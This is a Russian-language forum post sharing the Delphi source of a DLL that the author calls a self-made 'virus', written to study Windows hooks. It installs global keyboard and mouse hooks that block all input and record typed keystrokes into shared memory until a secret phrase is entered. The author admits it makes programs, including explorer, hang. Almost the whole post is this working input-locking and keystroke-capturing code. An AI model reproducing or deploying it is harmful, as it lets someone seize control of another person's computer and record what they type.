Перехватить все сообщения (глобальный хук)

[TwiX]

Вот нашёл у себя в архиве "самопальный вирус", который писал для изучения механизма хуков. В общем суть такова: ставится глобальный хук на мышь и на клаву. По нажатию кнопки всё записывается в фразу. Если полученная фраза совпала с нужной, то хуки снимаются. Однако, если активно понажимать на кнопки и мышь, то у многих приложений вылетят ошибки - мол "Программа не отвечает..." - даже explorer так виснет.
Вот DLL:

library hookDLL;

uses
  Windows, messages;

type
  PGlobalDLLData = ^TGlobalDLLData;
  TGlobalDLLData = packed
  record
    phrase: ShortString;
  end;


var
  hKeybHook: HHOOK = 0;
  hMouseHook: HHOOK = 0;
  hMapFile: THandle;
  GlobalData: PGlobalDLLData;


function MouseHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  msg: PEventMsg;
begin
  if CODE=HC_ACTION then
  begin
    Msg := Pointer(LParam);
    if msg.message=WM_MOUSEMOVE then
    begin
      Result:=CallNextHookEx(hKeybHook, code, WParam, LParam);
      exit;
    end;
    Result:=1;
    exit;
  end;
  Result:=CallNextHookEx(hKeybHook, code, WParam, LParam);
end;

function ScanToASCII(scancode: DWORD): Integer;
var
  KBLayout: HKL;
  KBState: TKeyboardState;
  vk: UINT;
begin
  if (GetKeyboardState(KBState) = False) then
  begin
    Result := 0;
    exit;
  end;

  vk := MapVirtualKey(scancode, 1);
  //Result := ToAscii(vk, scancode, KBState, PResult, 0);
  Result:=vk;
end;

function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  ScanCode: integer;
begin
  if CODE = HC_ACTION then
  begin
    ScanCode:=(LParam shr 16)and $FF;
    if (((ScanCode>=16) and (ScanCode<=25)) or ((ScanCode>=30) and (ScanCode<=38))
    or ((ScanCode>=44) and (ScanCode<=50)) or (ScanCode=57)) and ((LParam shr 30)=0) then
    begin
      while Length(GlobalData^.phrase)>128 do
        Delete(GlobalData^.phrase, 1, 1);
      GlobalData^.phrase:=GlobalData^.phrase+chr(ScanToASCII(ScanCode));
    end;
    Result:=1;
    exit;
  end;
  Result:=CallNextHookEx(hKeybHook, code, WParam, LParam);
end;

procedure SetHook; stdcall; export;
begin
  GlobalData^.phrase:='';
  if hKeybHook = 0 then
    hKeybHook := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0);
  if hMouseHook = 0 then
    hMouseHook := SetWindowsHookEx(WH_MOUSE, @MouseHook, hInstance, 0);
end;

procedure DelHook; stdcall; export;
begin
  if hKeybHook <> 0 then UnhookWindowsHookEx(hKeybHook);
   hKeybHook:=0;
  if hMouseHook <> 0 then UnhookWindowsHookEx(hMouseHook);
   hMouseHook:=0;
end;

function IsActive:boolean; stdcall; export;
begin
  Result:=true;
  if (hKeybHook=0) or (hMouseHook=0) then
    Result:=false;
end;

procedure OpenGlobalData();
const
  MapFileName = 'MapFileSpecialForTwiX';
begin
//  MMFHandle:= CreateFileMapping(DWord(-1), nil, PAGE_READWRITE, 0, SizeOf(TGlobalDLLData), MMFName); // можно так, но лучше: см. след. строку
  hMapFile := CreateFileMapping(INVALID_HANDLE_VALUE, nil, PAGE_READWRITE, 0,
    SizeOf(TGlobalDLLData), MapFileName);

  if hMapFile = 0 then
  begin
    MessageBox(0, 'Can''t create FileMapping', 'Error', 0);
    Exit;
  end;

  { отображаем глобальные данные на АП вызывающего процесса и получаем указатель
    на начало выделенного пространства }
  GlobalData := MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, SizeOf
      (TGlobalDLLData));
  if GlobalData = nil then
  begin
    CloseHandle(hMapFile);
    MessageBox(0, 'Can''t make MapViewOfFile', 'Error', 0);
    Exit;
  end;
end;

procedure CloseGlobalData();
begin
  UnmapViewOfFile(GlobalData);
  CloseHandle(hMapFile);
end;

exports
  SetHook, DelHook, IsActive;

procedure DLLEntryPoint(dwReason: DWord); stdcall;
begin
  case dwReason of
    DLL_PROCESS_ATTACH: OpenGlobalData;
    DLL_PROCESS_DETACH: CloseGlobalData;
  end;
end;

begin
//MessageBox(0, PChar(Application.ExeName), 'Message from keyhook.dll', 0);
  {назначим поцедуру переменной DLLProc}
  DLLProc:= @DLLEntryPoint;
  {вызываем назначенную процедуру для отражения факта присоединения данной
   библиотеки к процессу}
  DLLEntryPoint(DLL_PROCESS_ATTACH);
end.